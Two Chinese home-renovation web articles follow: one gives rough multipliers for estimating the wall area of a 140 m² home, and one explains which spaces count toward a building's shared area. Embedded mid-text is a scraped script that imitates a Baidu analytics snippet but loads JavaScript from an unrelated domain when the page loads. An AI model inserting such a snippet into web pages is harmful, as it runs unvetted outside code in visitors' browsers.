140平米的房子墙面面积是多少？

140平米的房子算是比较大户型的房子了，在装修的时候我们要更加注意，一旦出了问题的话，我们的损失也就可能会更大。140平米的房子墙面面积是多少？了解墙面面积的大小对我们的装修是很有用的，今天就来给大家算算140平米的房子墙面面积是多少。假如我们采用估算的方法，一般是用地面面积乘以一个倍数，这个倍数可以取3或者3.5.如果倍数取3的话，那么估算的140平米房子墙面面等于140平方米乘以3等于420平方米；如果倍数取3.5的话，那么估算的140平米房子墙面面等于140平方米乘以3.5等于490平方米。我们还可以用套筒计算法，用地面面积乘以2.5，这样得出来的结果通常最接近实际结果的。140平米房子墙面面等于140平方米乘以2.5等于350平方米。这种方法比较简单，且是跟准确计算结果最为相近的方法，所以，小编在这里建议大家采用这种方法。以上两种方法，是我们在计算房子墙面面积时最常用的两种方法。除此之外，还有其他的方法。如果我们需要知道房子的准确墙面面积的话，是需要测量房子各方面的准确数据的，测量之后，再经过计算可以得出房子的准确墙面面积。事实上，大多数时候，我们是没必要知道房子的精确墙面面积的，掌握以上两种介绍的方法就好。关于140平米的房子墙面面积是多少的解答就是这些了，相信大家已经了解了140平米的房子墙面面积的计算方法。如果对这个结果不够满意的话，大家可以去寻求装修公司的帮助，他们有专业的人员会帮你计算，经过专业测量和计算得出的结果是最准确的，会比我们估算的结果好上一些。​ var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

房屋公摊面积国家规定多少?

房屋是人们的安身之所，对于它的关注不亚于任何一个物件，人们常说的公摊面积其实也属于房屋面积的一部分，公摊面积就是包括楼梯、电梯等在内的公共部分，它计算到大家的房子面积当中，购买房屋的时候尤为明显，因为大家是按照公摊面积加上之后的面积进行出售和买卖的，公摊面积不能无限增大，国家对其有一些硬性的规定，现在就来看看国家规定的公摊面积是多少吧?目前国家在公摊面积上没有明确的规定必须控制在哪个区间范围内。一般多层住宅的公摊面积约在10%~13%，18层以下的板式住宅公摊约在13%~15%，点式的楼盘公摊大多在15%~17%，而30层以上的住宅因为电梯数量的增多，公摊通常都在25%左右。公摊面积的计算参考:1、电梯井、楼梯间、垃圾道、变电室、设备间、公共门厅和过道、地下室、值班警卫室以及其他功能上为整栋建筑服务的公共用房和管理用房建筑面积。2、套(单元)与公用建筑空间之间的分隔墙以及外墙(包括山墙)墙体水平投影面积的一半。3、外墙墙体同一楼层外墙，既有主墙，又有玻璃幕墙的，以主墙为准计算建筑面积，墙厚按主墙体厚度计算。各楼层墙体厚度不同时，分层分别计算。金属幕墙及其他材料幕墙，参照玻璃幕墙的有关规定处理。4、斜面结构屋顶房屋屋顶为斜面结构(坡屋顶)的，层高(高度)2.20米以上的部位计算建筑面积。5、不规则围护物阳台、挑廊、架空通廊的外围水平投影超过其底板外沿的，以底板水平投影计算建筑面积。6、变形缝与室内任意一边相通，具备房屋的一般条件，并能正常利用的伸缩缝、沉降缝应计算建筑面积。7、非垂直墙体对倾斜、弧状等非垂直墙体的房屋，层高(高度)2.20米以上的部位计算建筑面积。房屋墙体向外倾斜，超出底板外沿的，以底板投影计算建筑面积。不应计算为公用建筑面积的：1、凡已作为独立使用空间销售或出租的地下室、车棚等，不应计入公用建筑面积部分。2、作为人防工程的地下室也不计入公用建筑面积。3、楼梯下方空间楼梯已计算建筑面积的，其下方空间不论是否利用均不再计算建筑面积。4、公共通道临街楼房、挑廊下的底层作为公共道路街巷通行的，不论其是否有柱，是否有维护结构，均不计算建筑面积。5、与室内不相通的类似于阳台、挑廊、檐廊的建筑，不计算建筑面积!房屋公摊面积虽然有着严格的规定，但是一些房地产仍然把公摊面积建设的很大，还有的为了遵守国家规定就在边缘线进行规划，因此大家购买房屋时要特别注意这一部分。国家对于房屋有很多的规定与措施，我们在购买房屋前要一一了解，这样才不会被不法商家所蒙骗。公摊面积是其中一项，大家在看房期间要问清楚公摊面积，才能考虑是否适合购买。